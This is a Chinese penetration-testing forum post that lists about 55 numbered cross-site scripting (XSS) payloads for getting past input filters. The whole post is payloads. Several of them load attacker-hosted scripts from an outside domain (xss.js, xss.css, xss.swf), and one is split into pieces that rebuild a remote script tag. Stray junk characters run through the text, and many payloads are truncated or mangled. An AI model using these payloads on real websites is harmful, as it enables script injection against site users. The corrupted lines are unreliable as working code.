中国网络渗透测试联盟

标题: XSS攻击汇总 [打印本页]
作者: admin    时间: 2016-4-28 10:06
标题: XSS攻击汇总
(1)普通的XSS JavaScript注入
) Q; V7 c$ {+ `1 V5 u) O<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>5 _. G3 q6 \7 E+ {$ R- }
(99)另类弹框  W9 q+ a* H8 m5 B9 W
<q/oncut=alert()>1
  h1 Y% i1 N' h. u1 `- T9 }<s/onclick=alert()>b! J8 g- S9 ^, H6 [( H, X+ |# F# m
<XSS=" onclick="alert(1)//">clickme</SSX=">7 G# s, p  y+ y6 t( }
<zzz onclick=alert`1`>clickme</zzz> + _3 I% X* M& A% V, @. w
<a onclick=alert`1`>clickme</a>+ v3 V; \) C4 t
<a=">clickme</a=">
% O4 \$ Y3 q, ?( j7 |<a=">clickme</a>
' e: Z+ k' N3 |$ U4 G3 O  ]<z=">clickme</z=">
  W. v8 |4 |5 ~# T* P<z onclick=alert`1`>clickme</z>
1 U- w  S+ b( |8 m" N9 D4 n* Y1 v3 z$ a  Y, m; ]! s
(2)IMG标签XSS使用JavaScript命令
- L5 i7 y7 A% y/ N- y0 K4 ?<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 c2 ?  c& V. M; g0 w8 F3 M
* O/ d3 P) J" \0 v$ x% ](3)IMG标签无分号无引号
6 r6 t% E6 j3 H6 T* \* j<IMG SRC=javascript:alert(‘XSS’)>+ R7 O" ^+ j$ ^1 y1 o- ~# A* W5 @% W6 F

- b/ Q/ I, T5 {- x) m(4)IMG标签大小写不敏感
1 J! u0 u) T) k/ y, f! \( j2 I$ |<IMG SRC=JaVaScRiPt:alert(‘XSS’)>* L; x8 a/ {' ~! z3 b

0 u) c! u4 Q1 v7 @$ x& |(5)HTML编码(必须有分号)  z9 k% \) i- F+ k+ b6 T: ?
<IMG SRC=javascript:alert(“XSS”)>2 V8 E: h; d; R$ e$ j1 {/ x
6 s" b9 y+ a5 n, \# W  c
(6)修正缺陷IMG标签- |4 c  S% V" t% R" p
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>2 O" f$ o" T# g7 H( ]
% `, o, Z2 a! i3 R
(7)formCharCode标签(计算器)
$ K# ^! k! @/ I) E<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>6 m8 ]* f8 S) O! b! C5 C+ E
% Q  Z; X! ^: e
(8)UTF-8的Unicode编码(计算器)
8 C( x# [& y3 V1 F7 b: K2 f<IMG SRC=jav..省略..S')>
7 \' y. W5 r2 c  q" _6 h. r' a( G8 H' V8 ~. X
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
8 ]' f, h0 D8 r' F% T& A7 d<IMG SRC=jav..省略..S')>0 Y! b# p' _4 }( g; }7 T" T# D& z
5 l8 ^1 V' Z, Q: q- W- j
(10)十六进制编码也是没有分号(计算器)
- [  q) t1 X( x$ z. i<IMG SRC=\'#\'" /span>
# L' e0 q; @3 s6 o; [/ r
& e& S4 Y3 C! R& V/ l/ O, ~(11)嵌入式标签,将Javascript分开
; S, e+ f/ H  O; C<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
; `8 S6 z. g$ o# i( A  x, q/ c
7 U. q4 _4 T3 d$ j(12)嵌入式编码标签,将Javascript分开
  d! X, h2 }, S. ?- P# M  @4 X* [<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>( Q' e6 ~5 j0 j/ y8 B
! j% n- m) {9 M$ k. t6 ]
(13)嵌入式换行符
# `' q0 K4 g5 T  o6 t) h<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>! y5 y4 M: x/ \  x4 {7 }

5 L/ c' Q1 T0 q+ L2 T' v: w1 j(14)嵌入式回车$ v  }5 {2 n' Q9 s
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
  ]3 y7 I( C& j- J2 A
/ }8 e1 \' [2 g# X0 U$ @9 `2 t8 L(15)嵌入式多行注入JavaScript,这是XSS极端的例子4 S  B; J" x0 p0 g5 {5 A
<IMG SRC=\'#\'" /span>
$ U0 H- S& x! K! I2 m7 s% G
! Y# y. t$ C" g9 ~1 M(16)解决限制字符(要求同页面)
" K# e/ g6 r/ D<script>z=’document.’</script>
- C9 ~7 t+ w  V<script>z=z+’write(“‘</script>, P! h/ U5 r6 g" O  o
<script>z=z+’<script’</script>
% O* c2 f' B- {4 A8 y& Q+ K<script>z=z+’ src=ht’</script>' K! F* _6 O( o& p
<script>z=z+’tp://ww’</script>
- Q9 h3 G) m9 a& v4 {, C- T, A5 c: P<script>z=z+’w.shell’</script>
6 k& K. b/ P7 m<script>z=z+’.net/1.’</script>5 I2 p1 o  w- w
<script>z=z+’js></sc’</script>
5 j* j7 v* f) K! x3 P<script>z=z+’ript>”)’</script>
  K, `  q; N0 M# Z  M<script>eval_r(z)</script>3 _; U/ M1 y" u6 j0 c1 q
  ]% z% U1 Y5 ]! h
(17)空字符
: v2 w. x+ t6 D3 _; K* }perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
  P% p0 S1 a+ }: ~6 I! ?0 `" O
& l/ u, q; p8 I4 c* d+ [, ^4 J* N(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
" f: s) w4 t9 W. Uperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
! }, Z8 G0 Z- o+ u" w% {0 o
: p  ^; r4 ?$ ~, m/ O; c8 r(19)Spaces和meta前的IMG标签
% \4 `( m% C7 |6 }7 W: |8 P% D<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
; F9 |+ n/ M$ r0 u  f) W; M0 G2 h( H, v' y+ ?
(20)Non-alpha-non-digit XSS% W6 l* Z! @& o* M- n% d& D" V
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
) n% ~9 j7 ~& ~4 n8 K) r$ `
7 N0 c0 v* ?- ?/ K: z9 Q- n* X0 B$ v: ~(21)Non-alpha-non-digit XSS to 2
& m. M1 ?% \  m2 N* |<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
. x) e9 _+ \0 E4 I. P5 F9 l% C1 b5 \5 B! t" `
(22)Non-alpha-non-digit XSS to 3" @7 {+ k. K  M8 E% r  {3 P
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
6 o  |- u& m2 D7 P! q3 {& E, [9 r7 H8 s/ b! z; U
(23)双开括号: T' w: Z# M: J, i# H
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
1 `& [, S% r1 q  f- D' d( L" z6 u/ m" ~! s0 y8 j1 i
(24)无结束脚本标记(仅火狐等浏览器)
! a) R& Z3 J0 x1 G<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
& k4 N4 _+ ]1 p4 s! N' h- O) S! w( x9 ^3 f9 ]
(25)无结束脚本标记2
8 d6 ^: k# H+ t/ _0 [4 k7 H, g3 e<SCRIPT SRC=//3w.org/XSS/xss.js>
/ L, z( v8 ^! M' z/ d
" o  M4 b7 U3 I( I0 |0 g) |! `: ~# T5 _(26)半开的HTML/JavaScript XSS
& ^; z* }3 o$ A9 T2 q. q5 g<IMG SRC=\'#\'" /span>
4 S7 s' P% |$ }
! e  [" T  b% ]8 J  `% `( _(27)双开角括号  Z' U4 ^; E& h1 \1 i
<iframe src=http://3w.org/XSS.html <5 T8 X' {# _& y
- t0 c9 b; Q9 [" b! O; q3 F) C
(28)无单引号 双引号 分号
: z+ k) E% M% z2 U<SCRIPT>a=/XSS/+ E+ r7 i0 u" n: E
alert(a.source)</SCRIPT>( g) i& k5 Y9 v4 h6 M
6 N7 I% M3 z1 D
(29)换码过滤的JavaScript/ B, V6 x1 g% ^- h5 I
\”;alert(‘XSS’);//6 p$ A  @8 x) B- l' @# p$ ?
7 ~! j2 D& c. R
(30)结束Title标签
: f9 M' f& c: j) T* Q0 G( o</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
  f; e" Z  h. p" }, L
2 o( y$ o2 `+ t$ Q# N(31)Input Image7 R4 c; [0 s7 s& W' l2 P# Q
<INPUT SRC=\'#\'" /span>8 \) w$ m8 t( A- }( b

  E0 Y  S2 J  p! g3 g& J(32)BODY Image7 J& }. p% Q( G# l3 l* w# [
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>5 _, R" |0 U3 p4 S& {
1 A- C3 d% K6 }4 W+ b& D5 j
(33)BODY标签+ Q8 j) {  T8 k$ Z+ z0 O
<BODY(‘XSS’)>
% P1 X+ `% L3 H2 Z  Z) q8 R* |8 |6 E) t
(34)IMG Dynsrc8 [8 E, H) i7 u
<IMG DYNSRC=\'#\'" /span>  l8 T8 N: o) Z/ E3 q. a
1 Y+ l, [1 w' H) R- w9 ?! k3 t
(35)IMG Lowsrc/ K/ e' a: j1 U. {4 T) w( g
<IMG LOWSRC=\'#\'" /span>
2 k" e- d' N/ V+ H. o4 G% h. t& _% g% Z. e  P- U$ l; e! H8 @
(36)BGSOUND  @  @' a2 q2 J2 |( |' q. w
<BGSOUND SRC=\'#\'" /span>& X. |4 O: `% G# j2 I+ V& e! A
# _% q4 P8 m4 e/ G
(37)STYLE sheet3 @: z/ F  N6 W  Q* m* R5 ~+ e
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>, _# V& L5 \3 K) c( v- @  E4 q) O0 d
' t" C! [) ]6 A% X  B
(38)远程样式表
  L  m( g- e4 u" c% W. P0 W( }<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
9 w+ a9 X. b; n# E
* |+ ~3 N9 n0 Y3 ~( M(39)List-style-image(列表式)
& f/ Z  {, D4 e' Z' X5 ?<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
8 q% M( i) G4 M% m+ ~* h+ W( e' H! _" q. S
(40)IMG VBscript
2 y4 {$ {2 U8 m$ a<IMG SRC=\'#\'" /STYLE><UL><LI>XSS' G3 Y& `5 @1 h8 J$ _0 Z

5 ~$ P5 D# D- X/ G4 `5 n(41)META链接url$ ?9 x7 z5 t: Y- n! u, Y3 @3 r# Z- n
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
* V' T" O% `6 D4 N; G) ?  ?( J! G
; {! ^9 U/ x6 h(42)Iframe
8 R0 G$ t, ^# O+ @0 M1 @$ W$ w5 [<IFRAME SRC=\'#\'" /IFRAME>
- X4 B" U% z* C, K
3 {) ?3 M0 C% u" }2 [(43)Frame% _% {5 K0 X" _% t7 w
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>* U4 ?. R1 I3 v% b+ F  q+ @6 D  O
5 {, n4 G% S) y
(44)Table6 P1 x3 e/ {: q& h- ^5 ]% t7 {0 H
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
/ u5 Z  Y& @7 [. {& l) Z: Z$ L/ y. y
(45)TD
( j7 \3 I) ?, A0 W% L<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>4 V" e: ~: E* i5 U+ d7 ]0 P/ H+ s
% C& d) I! j3 B: @! J! O9 F/ _
(46)DIV background-image8 F% p% C% ^# m+ I# f+ [) c
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>, P) u- u3 c) a. {8 f3 g4 R# M7 g
  ?1 |9 n" l7 R4 g, W4 H, `0 e
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
$ N* S' n/ |& U- o0 x* ~/ r: M<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>9 S) U; {, y- x' ?5 o/ f" b

- d$ J5 I. K- A2 _4 V(48)DIV expression0 v, T( ?( c) z$ E
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>1 s, Z7 H! i  I5 p7 Y7 I# M( q" L8 P
; A$ D" ?: ^# N1 H
(49)STYLE属性分拆表达% n+ ?: E- X  m& [6 ]6 X
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
6 [, n/ }, z0 k8 `, a6 A8 c& ^6 H
5 y! N- v# x& S7 M(50)匿名STYLE(组成:开角号和一个字母开头)5 t4 b4 G' X1 H/ ^
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>) ]8 y9 k$ \1 W) e1 P; K6 D1 o3 W1 h3 Q

% F3 b, E6 I! s5 [/ L5 a(51)STYLE background-image
2 b( s- p" @4 k+ \& z* e0 n<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
5 t: X3 F+ F9 \, A' H
: ^8 G7 G& z5 f3 ]% H(52)IMG STYLE方式4 A! l; g, |+ p1 o
exppression(alert(“XSS”))’>' r: z& L  z; f7 R
- r4 A7 i9 j3 I- |. M1 f, R
(53)STYLE background/ a. L/ r9 [% |- g/ l' H  o
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>7 q" _, K  w+ }% v
) N, j3 k# }, G- p4 O" X. x
(54)BASE
- i# D5 T3 s, V$ ]<BASE HREF=”javascript:alert(‘XSS’);//”>
' W& D1 W+ u/ U  c# l1 N$ v8 b# }4 ~1 m1 a+ u" @
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
! B3 i. ]' m1 r+ w; L<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>  o9 C: _% h0 K! B& R




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2